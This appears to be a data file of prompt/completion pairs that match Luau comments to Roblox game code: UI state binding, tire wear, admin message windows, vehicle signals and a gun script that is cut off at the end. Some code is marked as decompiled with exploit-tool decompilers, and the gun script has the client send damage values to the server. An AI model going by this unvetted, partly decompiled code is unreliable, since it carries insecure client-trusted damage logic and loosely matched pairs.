prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[Tip]
--More modes with smaller speed increments makes for a more precise and smooth ride. | |
--[[
mapStateToProps:
(storeState, props) -> partialProps
OR
() -> (storeState, props) -> partialProps
mapDispatchToProps: (dispatch) -> partialProps
]] |
local function connect(mapStateToPropsOrThunk, mapDispatchToProps)
local connectTrace = debug.traceback()
if mapStateToPropsOrThunk ~= nil then
assert(typeof(mapStateToPropsOrThunk) == "function", "mapStateToProps must be a function or nil!")
else
mapStateToPropsOrThunk = noop
end
local mapDispatchType = typeof(mapDispatchToProps)
if mapDispatchToProps ~= nil then
assert(
mapDispatchType == "function" or mapDispatchType == "table",
"mapDispatchToProps must be a function, table, or nil!"
)
else
mapDispatchToProps = noop
end
return function(innerComponent)
if innerComponent == nil then
local message = formatMessage({
"connect returns a function that must be passed a component.",
"Check the connection at:",
"%s",
}, {
connectTrace,
})
error(message, 2)
end
local componentName = ("RoduxConnection(%s)"):format(tostring(innerComponent))
local Connection = Roact.Component:extend(componentName)
function Connection.getDerivedStateFromProps(nextProps, prevState)
if prevState.stateUpdater ~= nil then
return prevState.stateUpdater(nextProps.innerProps, prevState)
end
end
function Connection:init(props)
self.store = props.store
if self.store == nil then
local message = formatMessage({
"Cannot initialize Roact-Rodux connection without being a descendent of StoreProvider!",
"Tried to wrap component %q",
"Make sure there is a StoreProvider above this component in the tree.",
}, {
tostring(innerComponent),
})
error(message)
end
local storeState = self.store:getState()
local mapStateToProps = mapStateToPropsOrThunk
local mappedStoreState = mapStateToProps(storeState, self.props.innerProps)
-- mapStateToPropsOrThunk can return a function instead of a state
-- value. In this variant, we keep that value as mapStateToProps
-- instead of the original mapStateToProps. This matches react-redux
-- and enables connectors to keep instance-level state.
if typeof(mappedStoreState) == "function" then
mapStateToProps = mappedStoreState
mappedStoreState = mapStateToProps(storeState, self.props.innerProps)
end
if mappedStoreState ~= nil and typeof(mappedStoreState) ~= "table" then
local message = formatMessage({
"mapStateToProps must either return a table, or return another function that returns a table.",
"Instead, it returned %q, which is of type %s.",
}, {
tostring(mappedStoreState),
typeof(mappedStoreState),
})
error(message)
end
local function dispatch(...)
return self.store:dispatch(...)
end
local mappedStoreDispatch
if mapDispatchType == "table" then
mappedStoreDispatch = {}
for key, actionCreator in pairs(mapDispatchToProps) do
assert(typeof(actionCreator) == "function", "mapDispatchToProps must contain function values")
mappedStoreDispatch[key] = function(...)
dispatch(actionCreator(...))
end
end
elseif mapDispatchType == "function" then
mappedStoreDispatch = mapDispatchToProps(dispatch)
end
local stateUpdater = makeStateUpdater(self.store)
self.state = {
-- Combines props, mappedStoreDispatch, and the result of
-- mapStateToProps into propsForChild. Stored in state so that
-- getDerivedStateFromProps can access it.
stateUpdater = stateUpdater,
-- Used by the store changed connection and stateUpdater to
-- construct propsForChild.
mapStateToProps = mapStateToProps,
-- Used by stateUpdater to construct propsForChild.
mappedStoreDispatch = mappedStoreDispatch,
-- Passed directly into the component that Connection is
-- wrapping.
propsForChild = nil,
}
local extraState = stateUpdater(self.props.innerProps, self.state, mappedStoreState)
for key, value in pairs(extraState) do
self.state[key] = value
end
end
function Connection:didMount()
local updateStateWithStore = function(storeState)
self:setState(function(prevState, props)
local mappedStoreState = prevState.mapStateToProps(storeState, props.innerProps)
-- We run this check here so that we only check shallow
-- equality with the result of mapStateToProps, and not the
-- other props that could be passed through the connector.
if shallowEqual(mappedStoreState, prevState.mappedStoreState) then
return nil
end
return prevState.stateUpdater(props.innerProps, prevState, mappedStoreState)
end)
end
-- Update store state on mount to catch missed state updates between
-- init and mount. State could be stale otherwise.
updateStateWithStore(self.store:getState())
-- Connect state updater to the Rodux store
self.storeChangedConnection = self.store.changed:connect(updateStateWithStore)
end
function Connection:willUnmount()
if self.storeChangedConnection then
self.storeChangedConnection:disconnect()
self.storeChangedConnection = nil
end
end
function Connection:render()
return Roact.createElement(innerComponent, self.state.propsForChild)
end
local ConnectedComponent = Roact.Component:extend(componentName)
function ConnectedComponent:render()
return Roact.createElement(StoreContext.Consumer, {
render = function(store)
return Roact.createElement(Connection, {
innerProps = self.props,
store = store,
})
end,
})
end
return ConnectedComponent
end
end
return connect
|
-- Decompiled with Visenya | https://targaryentech.com |
local _WHEELTUNE = {
TireWearOn = true,
FWearSpeed = 0.4,
FTargetFriction = 0.7,
FMinFriction = 0.1,
RWearSpeed = 0.4,
RTargetFriction = 0.7,
RMinFriction = 0.1,
TCSOffRatio = 0.3333333333333333,
WheelLockRatio = 0.5,
WheelspinRatio = 0.9090909090909091,
FFrictionWeight = 1,
RFrictionWeight = 1,
FLgcyFrWeight = 10,
RLgcyFrWeight = 10,
FElasticity = 0.5,
RElasticity = 0.5,
FLgcyElasticity = 0,
RLgcyElasticity = 0,
FElastWeight = 1,
RElastWeight = 1,
FLgcyElWeight = 10,
RLgcyElWeight = 10,
RegenSpeed = 3.6
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local fDensity = _Tune.FWheelDensity
local rDensity = _Tune.RWheelDensity
local fFwght = _WHEELTUNE.FFrictionWeight
local rFwght = _WHEELTUNE.RFrictionWeight
local fElast = _WHEELTUNE.FElasticity
local rElast = _WHEELTUNE.RElasticity
local fEwght = _WHEELTUNE.FElastWeight
local rEwght = _WHEELTUNE.RElastWeight
if not workspace:PGSIsEnabled() then
fDensity = _Tune.FWLgcyDensity
rDensity = _Tune.RWLgcyDensity
fFwght = _WHEELTUNE.FLgcyFrWeight
rFwght = _WHEELTUNE.FLgcyFrWeight
fElast = _WHEELTUNE.FLgcyElasticity
rElast = _WHEELTUNE.RLgcyElasticity
fEwght = _WHEELTUNE.FLgcyElWeight
rEwght = _WHEELTUNE.RLgcyElWeight
end
local Wheels = {}
for i, v in pairs(car.Wheels:GetChildren()) do
local w = {}
w.wheel = v
local ca
w.x = 0
if v.Name == "FL" or v.Name == "FR" or v.Name == "F" then
ca = (12 - math.abs(_Tune.FCamber)) / 15
w.x = fDensity
w.BaseHeat = _WHEELTUNE.FTargetFriction - _WHEELTUNE.FMinFriction
w.WearSpeed = _WHEELTUNE.FWearSpeed
w.fWeight = fFwght
w.elast = fElast
w.eWeight = fEwght
else
ca = (12 - math.abs(_Tune.RCamber)) / 15
w.x = rDensity
w.BaseHeat = _WHEELTUNE.RTargetFriction - _WHEELTUNE.RMinFriction
w.WearSpeed = _WHEELTUNE.RWearSpeed
w.fWeight = rFwght
w.elast = rElast
w.eWeight = rEwght
end
w.Heat = w.BaseHeat
w.stress = 0
table.insert(Wheels, w)
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name == "SeatWeld" then
local wD = car:FindFirstChild("WearData")
if car:FindFirstChild("WearData") == nil then
wD = script.Parent.WearData:Clone()
wD.Parent = car
end
for i, v in pairs(Wheels) do
wD[v.wheel.Name].Value = v.Heat
end
wD.STime.Value = tick()
end
end)
while wait() do
for i, v in pairs(Wheels) do
local speed = car.DriveSeat.Velocity.Magnitude
local wheel = v.wheel.RotVelocity.Magnitude
local z = 0
local deg = 1.26E-4
local cspeed = speed / 1.298 * (2.6 / v.wheel.Size.Y)
local wdif = math.abs(wheel - cspeed)
if _WHEELTUNE.TireWearOn then
if speed < 4 then
v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed / 10000, v.BaseHeat)
elseif wdif > 1 then
v.Heat = v.Heat - wdif * deg * v.WearSpeed / 28
elseif v.Heat >= v.BaseHeat then
v.Heat = v.BaseHeat
end
end
if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
z = _WHEELTUNE.FMinFriction + v.Heat
deg = (deg - 1.188E-4 * cValues.Brake.Value) * (1 - math.abs(cValues.SteerC.Value)) + 1.26E-6 * math.abs(cValues.SteerC.Value)
else
z = _WHEELTUNE.RMinFriction + v.Heat
end
if math.ceil(wheel / 0.774 / speed * 100) < 8 then
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.WheelLockRatio, v.elast, v.fWeight, v.eWeight)
v.Heat = math.max(v.Heat, 0)
elseif _Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil(wheel / 0.774 / speed * 100) > 80 then
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.TCSOffRatio, v.elast, v.fWeight, v.eWeight)
v.Heat = math.max(v.Heat, 0)
elseif math.ceil(wheel / 0.774 / speed * 100) > 130 then
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.WheelspinRatio, v.elast, v.fWeight, v.eWeight)
v.Heat = math.max(v.Heat, 0)
else
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z, v.elast, v.fWeight, v.eWeight)
v.Heat = math.min(v.Heat, v.BaseHeat)
end
local vstress = math.abs(((wdif + cspeed) / 0.774 * 0.774 - cspeed) / 15)
if vstress > 0.05 and vstress > v.stress then
v.stress = math.min(v.stress + 0.03, 1)
else
v.stress = math.max(v.stress - 0.03, vstress)
end
local UI = script.Parent.Tires[v.wheel.Name]
UI.First.Second.Image.ImageColor3 = Color3.new(math.min(v.stress * 2, 1), 1 - v.stress, 0)
UI.First.Position = UDim2.new(0, 0, 1 - v.Heat / v.BaseHeat, 0)
UI.First.Second.Position = UDim2.new(0, 0, v.Heat / v.BaseHeat, 0)
end
end
|
--// All global vars will be wiped/replaced except script |
return function(data)
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local Left = frame2.Left
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local fadeSteps = 20
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.8
local strokeStep = 0.9
local function fadeIn()
gTable:Ready()
for i = 1,fadeSteps do
if msg.TextTransparency>0 then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if frame.BackgroundTransparency>0 then
frame.BackgroundTransparency = frame.BackgroundTransparency-0.06
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
end
local function fadeOut()
if not gone then
gone = true
for i = 1,fadeSteps do
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
Left.Text = '['..time..']'
for i=time,1,-1 do
if not Left then break end
Left.Text = '['..i..']'
wait(1)
end
else
Left.Text = '['..tim..']'
for i=tim,1,-1 do
if not Left then break end
Left.Text = '['..i..']'
wait(1)
end
end
Left.Text = '[Closing]'
wait(0.3)
if not gone then
fadeOut()
end
end
|
--//Shifting//- |
if key == "1" then
carSeat.Wheels.FR.Spring.Stiffness = 0
carSeat.Wheels.FL.Spring.Stiffness = 0
carSeat.Wheels.RR.Spring.Stiffness = 0
carSeat.Wheels.RL.Spring.Stiffness = 0
elseif key == "2" then
carSeat.Wheels.FR.Spring.Stiffness = 9000
carSeat.Wheels.FL.Spring.Stiffness = 9000
carSeat.Wheels.RR.Spring.Stiffness = 9000
carSeat.Wheels.RL.Spring.Stiffness = 9000
end
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
client = nil;
service = nil;
return function(p1)
local v1 = service.New("Sound");
v1.Volume = 1;
v1.Looped = true;
v1.SoundId = "http://www.roblox.com/asset/?id=138081509";
local v2 = {
Name = "Alert",
Title = "Alert",
Size = { 300, 150 },
Icon = "rbxassetid://53252104",
AllowMultiple = false
};
function v2.OnClose()
v1:Stop();
wait();
v1:Destroy();
end;
local v3 = client.UI.Make("Window", v2);
if v3 then
local v4 = v3:Add("TextLabel", {
Text = p1.Message,
BackgroundTransparency = 1,
TextScaled = true,
TextWrapped = true
});
local v5 = v3:AddTitleButton({
Text = ""
});
local u1 = false;
local u2 = v5:Add("ImageLabel", {
Size = UDim2.new(0, 20, 0, 20),
Position = UDim2.new(0, 5, 0, 0),
Image = "rbxassetid://1638551696",
BackgroundTransparency = 1
});
v5.MouseButton1Down:connect(function()
if u1 then
v1.Volume = 1;
u2.Image = "rbxassetid://1638551696";
u1 = false;
return;
end;
v1.Volume = 0;
u2.Image = "rbxassetid://1638584675";
u1 = true;
end);
v1.Parent = v4;
v1:Play();
local l__gTable__6 = v3.gTable;
v3:Ready();
end;
end;
|
--- Skill |
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "LightBeam"
Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01)
Track1:Play()
wait(0.27)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,2 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(1.5)
Debounce = true
end
end)
|
-- assume we are in the character, let's check |
function sepuku()
script.Parent = nil
end
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.5
local torso = script.Parent:FindFirstChild("Torso")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local s = Instance.new("Sparkles")
s.Color = Color3.new(0, .8, 0)
s.Parent = torso
local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
count = Instance.new("IntValue")
count.Name = "CoffeeCount"
count.Value = 1
count.Parent = h
else
if (count.Value > 3) then
if (math.random() > .5) then
local sound = Instance.new("Sound")
sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
sound.Parent = head
sound.Volume = 1
sound:play()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.Position = head.Position
s:Clone().Parent = head
e.Parent = head
end
end
count.Value = count.Value + 1
end
wait(30)
h.WalkSpeed = oldSpeed
s:Remove()
script.Parent = nil
|
-- A state object whose value can be set at any time by the user. |
export type State<T> = PubTypes.Value<T> & {
_value: T
}
|
-- mainWindow Functions |
local function showMainWindow()
mainWindow.Visible = true
TweenService:Create(mainWindow, Bar_Button_TweenInfo, {Size = UDim2.new(0, 1009,0, 522), GroupTransparency = 0}):Play()
end
local function hideMainWindow()
TweenService:Create(mainWindow, Bar_Button_TweenInfo, {Size = UDim2.new(0, 996,0, 509), GroupTransparency = 1}):Play()
task.wait(0.3)
mainWindow.Visible = false
end
|
--Made by Repressed_Memories
-- Edited by Truenus |
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off = BrickColor.New("Black")
local on = BrickColor.New("Deep orange")
local off2 = BrickColor.New("Bright yellow")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftfront.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonleft.BrickColor = off
leftfront.BrickColor = off2
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off2
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
neonleft.BrickColor = on
leftfront.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off2
neonleft.BrickColor = off
leftfront.BrickColor = off2
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
--// Firemode Functions |
function CreateBullet(L_185_arg1)
local L_186_ = L_55_.Position
local L_187_ = (L_4_.Hit.p - L_186_).unit
local L_188_ = CFrame.Angles(math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)))
L_187_ = L_188_ * L_187_
local L_189_ = CFrame.new(L_186_, L_186_ + L_187_)
local L_190_ = Instance.new("Part", L_93_)
game.Debris:AddItem(L_190_, 10)
L_190_.Shape = Enum.PartType.Ball
L_190_.Size = Vector3.new(1, 1, 12)
L_190_.Name = "Bullet"
L_190_.TopSurface = "Smooth"
L_190_.BottomSurface = "Smooth"
L_190_.BrickColor = BrickColor.new("Bright green")
L_190_.Material = "Neon"
L_190_.CanCollide = false
--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)
L_190_.CFrame = L_189_
local L_191_ = Instance.new("Sound")
L_191_.SoundId = "rbxassetid://341519743"
L_191_.Looped = true
L_191_:Play()
L_191_.Parent = L_190_
L_191_.Volume = 0.4
L_191_.MaxDistance = 30
L_190_.Transparency = 1
local L_192_ = L_190_:GetMass()
local L_193_ = Instance.new('BodyForce', L_190_)
if not L_77_ then
L_193_.Force = L_24_.BulletPhysics
L_190_.Velocity = L_187_ * L_24_.BulletSpeed
else
L_193_.Force = L_24_.ExploPhysics
L_190_.Velocity = L_187_ * L_24_.ExploSpeed
end
local L_194_ = Instance.new('Attachment', L_190_)
L_194_.Position = Vector3.new(0.1, 0, 0)
local L_195_ = Instance.new('Attachment', L_190_)
L_195_.Position = Vector3.new(-0.1, 0, 0)
local L_196_ = TracerCalculation()
if L_24_.TracerEnabled == true and L_196_ then
local L_197_ = Instance.new('Trail', L_190_)
L_197_.Attachment0 = L_194_
L_197_.Attachment1 = L_195_
L_197_.Transparency = NumberSequence.new(L_24_.TracerTransparency)
L_197_.LightEmission = L_24_.TracerLightEmission
L_197_.TextureLength = L_24_.TracerTextureLength
L_197_.Lifetime = L_24_.TracerLifetime
L_197_.FaceCamera = L_24_.TracerFaceCamera
L_197_.Color = ColorSequence.new(L_24_.TracerColor.Color)
end
if L_1_:FindFirstChild('Shell') and not L_77_ then
CreateShell()
end
delay(0.2, function()
L_190_.Transparency = 0
end)
return L_190_
end
function CheckForHumanoid(L_198_arg1)
local L_199_
local L_200_
if (L_198_arg1.Parent:FindFirstChild("Humanoid") or L_198_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_199_ = true
if L_198_arg1.Parent:FindFirstChild('Humanoid') then
L_200_ = L_198_arg1.Parent.Humanoid
elseif L_198_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_200_ = L_198_arg1.Parent.Parent.Humanoid
end
else
L_199_ = false
end
return L_199_, L_200_
end
function CastRay(L_201_arg1)
local L_202_, L_203_, L_204_
local L_205_ = L_52_.Position;
local L_206_ = L_201_arg1.Position;
local L_207_ = 0
local L_208_ = L_77_
while true do
L_98_:wait()
L_206_ = L_201_arg1.Position;
L_207_ = L_207_ + (L_206_ - L_205_).magnitude
L_202_, L_203_, L_204_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_205_, (L_206_ - L_205_)), IgnoreList);
local L_209_ = Vector3.new(0, 1, 0):Cross(L_204_)
local L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant
if L_207_ > 10000 then
break
end
if L_202_ and (L_202_ and L_202_.Transparency >= 1 or L_202_.CanCollide == false) then
table.insert(IgnoreList, L_202_)
end
if L_202_ then
L_209_ = Vector3.new(0, 1, 0):Cross(L_204_)
L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant
local L_211_ = CheckForHumanoid(L_202_)
if L_211_ == false then
L_201_arg1:Destroy()
local L_212_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Part")
table.insert(IgnoreList, L_212_)
elseif L_211_ == true then
L_201_arg1:Destroy()
local L_213_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Human")
table.insert(IgnoreList, L_213_)
end
end
if L_202_ and L_208_ then
L_108_:FireServer(L_203_)
end
if L_202_ and (L_202_.Parent:FindFirstChild("Humanoid") or L_202_.Parent.Parent:FindFirstChild("Humanoid")) then
local L_214_, L_215_ = CheckForHumanoid(L_202_)
if L_214_ then
L_103_:FireServer(L_215_)
if L_24_.AntiTK then
if game.Players:FindFirstChild(L_215_.Parent.Name) and game.Players:FindFirstChild(L_215_.Parent.Name).TeamColor ~= L_2_.TeamColor then
if L_202_.Name == 'Head' then
L_102_:FireServer(L_215_, L_24_.HeadDamage)
local L_216_ = L_19_:WaitForChild('BodyHit'):clone()
L_216_.Parent = L_2_.PlayerGui
L_216_:Play()
game:GetService("Debris"):addItem(L_216_, L_216_.TimeLength)
elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
L_102_:FireServer(L_215_, L_24_.Damage)
local L_217_ = L_19_:WaitForChild('BodyHit'):clone()
L_217_.Parent = L_2_.PlayerGui
L_217_:Play()
game:GetService("Debris"):addItem(L_217_, L_217_.TimeLength)
elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
L_102_:FireServer(L_215_, L_24_.HeadDamage)
local L_218_ = L_19_:WaitForChild('BodyHit'):clone()
L_218_.Parent = L_2_.PlayerGui
L_218_:Play()
game:GetService("Debris"):addItem(L_218_, L_218_.TimeLength)
end
end
else
if L_202_.Name == 'Head' then
L_102_:FireServer(L_215_, L_24_.HeadDamage)
local L_219_ = L_19_:WaitForChild('BodyHit'):clone()
L_219_.Parent = L_2_.PlayerGui
L_219_:Play()
game:GetService("Debris"):addItem(L_219_, L_219_.TimeLength)
elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
L_102_:FireServer(L_215_, L_24_.Damage)
local L_220_ = L_19_:WaitForChild('BodyHit'):clone()
L_220_.Parent = L_2_.PlayerGui
L_220_:Play()
game:GetService("Debris"):addItem(L_220_, L_220_.TimeLength)
elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
L_102_:FireServer(L_215_, L_24_.HeadDamage)
local L_221_ = L_19_:WaitForChild('BodyHit'):clone()
L_221_.Parent = L_2_.PlayerGui
L_221_:Play()
game:GetService("Debris"):addItem(L_221_, L_221_.TimeLength)
end
end
end
end
if L_202_ and L_202_.Parent:FindFirstChild("Humanoid") then
return L_202_, L_203_;
end
L_205_ = L_206_;
end
end
function fireSemi()
if L_15_ then
L_65_ = false
Recoiling = true
Shooting = true
CheckReverb()
L_55_:WaitForChild('Fire'):Play()
L_101_:FireServer()
L_94_ = CreateBullet(0)
L_95_ = L_95_ - 1
UpdateAmmo()
RecoilFront = true
local L_222_, L_223_ = spawn(function()
CastRay(L_94_)
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true and L_95_ <= 0 then
BoltingBackAnim()
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_224_ = JamCalculation()
if L_224_ then
L_65_ = false
else
L_65_ = true
end
Shooting = false
end
end
function fireExplo()
if L_15_ then
L_65_ = false
Recoiling = true
Shooting = true
L_56_:WaitForChild('Fire'):Play()
L_101_:FireServer()
L_94_ = CreateBullet(0)
L_97_ = L_97_ - 1
UpdateAmmo()
RecoilFront = true
local L_225_, L_226_ = spawn(function()
CastRay(L_94_)
end)
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
L_65_ = false
Shooting = false
end
end
function fireShot()
if L_15_ then
L_65_ = false
Recoiling = true
Shooting = true
RecoilFront = true
CheckReverb()
L_55_:WaitForChild('Fire'):Play()
L_101_:FireServer()
for L_228_forvar1 = 1, L_24_.ShotNum do
L_94_ = CreateBullet(2)
local L_229_, L_230_ = spawn(function()
CastRay(L_94_)
end)
end
for L_231_forvar1, L_232_forvar2 in pairs(L_55_:GetChildren()) do
if L_232_forvar2.Name:sub(1, 7) == "FlashFX" then
L_232_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_233_forvar1, L_234_forvar2 in pairs(L_55_:GetChildren()) do
if L_234_forvar2.Name:sub(1, 7) == "FlashFX" then
L_234_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true and L_95_ > 0 then
BoltingBackAnim()
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
L_95_ = L_95_ - 1
UpdateAmmo()
wait(L_24_.Firerate)
L_72_ = true
BoltBackAnim()
BoltForwardAnim()
IdleAnim()
L_72_ = false
local L_227_ = JamCalculation()
if L_227_ then
L_65_ = false
else
L_65_ = true
end
Shooting = false
end
end
function fireBoltAction()
if L_15_ then
L_65_ = false
Recoiling = true
Shooting = true
CheckReverb()
L_55_:WaitForChild('Fire'):Play()
L_101_:FireServer()
L_94_ = CreateBullet(0)
L_95_ = L_95_ - 1
UpdateAmmo()
RecoilFront = true
local L_235_, L_236_ = spawn(function()
CastRay(L_94_)
end)
for L_238_forvar1, L_239_forvar2 in pairs(L_55_:GetChildren()) do
if L_239_forvar2.Name:sub(1, 7) == "FlashFX" then
L_239_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_240_forvar1, L_241_forvar2 in pairs(L_55_:GetChildren()) do
if L_241_forvar2.Name:sub(1, 7) == "FlashFX" then
L_241_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true and L_95_ > 0 then
BoltingBackAnim()
end
end)
end
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
L_72_ = true
BoltBackAnim()
BoltForwardAnim()
IdleAnim()
L_72_ = false
local L_237_ = JamCalculation()
if L_237_ then
L_65_ = false
else
L_65_ = true
end
Shooting = false
end
end
function fireAuto()
while not Shooting and L_95_ > 0 and L_64_ and L_65_ and L_15_ do
L_65_ = false
Recoiling = true
CheckReverb()
L_55_:WaitForChild('Fire'):Play()
L_101_:FireServer()
L_95_ = L_95_ - 1
UpdateAmmo()
Shooting = true
RecoilFront = true
L_94_ = CreateBullet(0)
local L_242_, L_243_ = spawn(function()
CastRay(L_94_)
end)
for L_245_forvar1, L_246_forvar2 in pairs(L_55_:GetChildren()) do
if L_246_forvar2.Name:sub(1, 7) == "FlashFX" then
L_246_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_247_forvar1, L_248_forvar2 in pairs(L_55_:GetChildren()) do
if L_248_forvar2.Name:sub(1, 7) == "FlashFX" then
L_248_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true and L_95_ > 0 then
BoltingForwardAnim()
end
end)
end
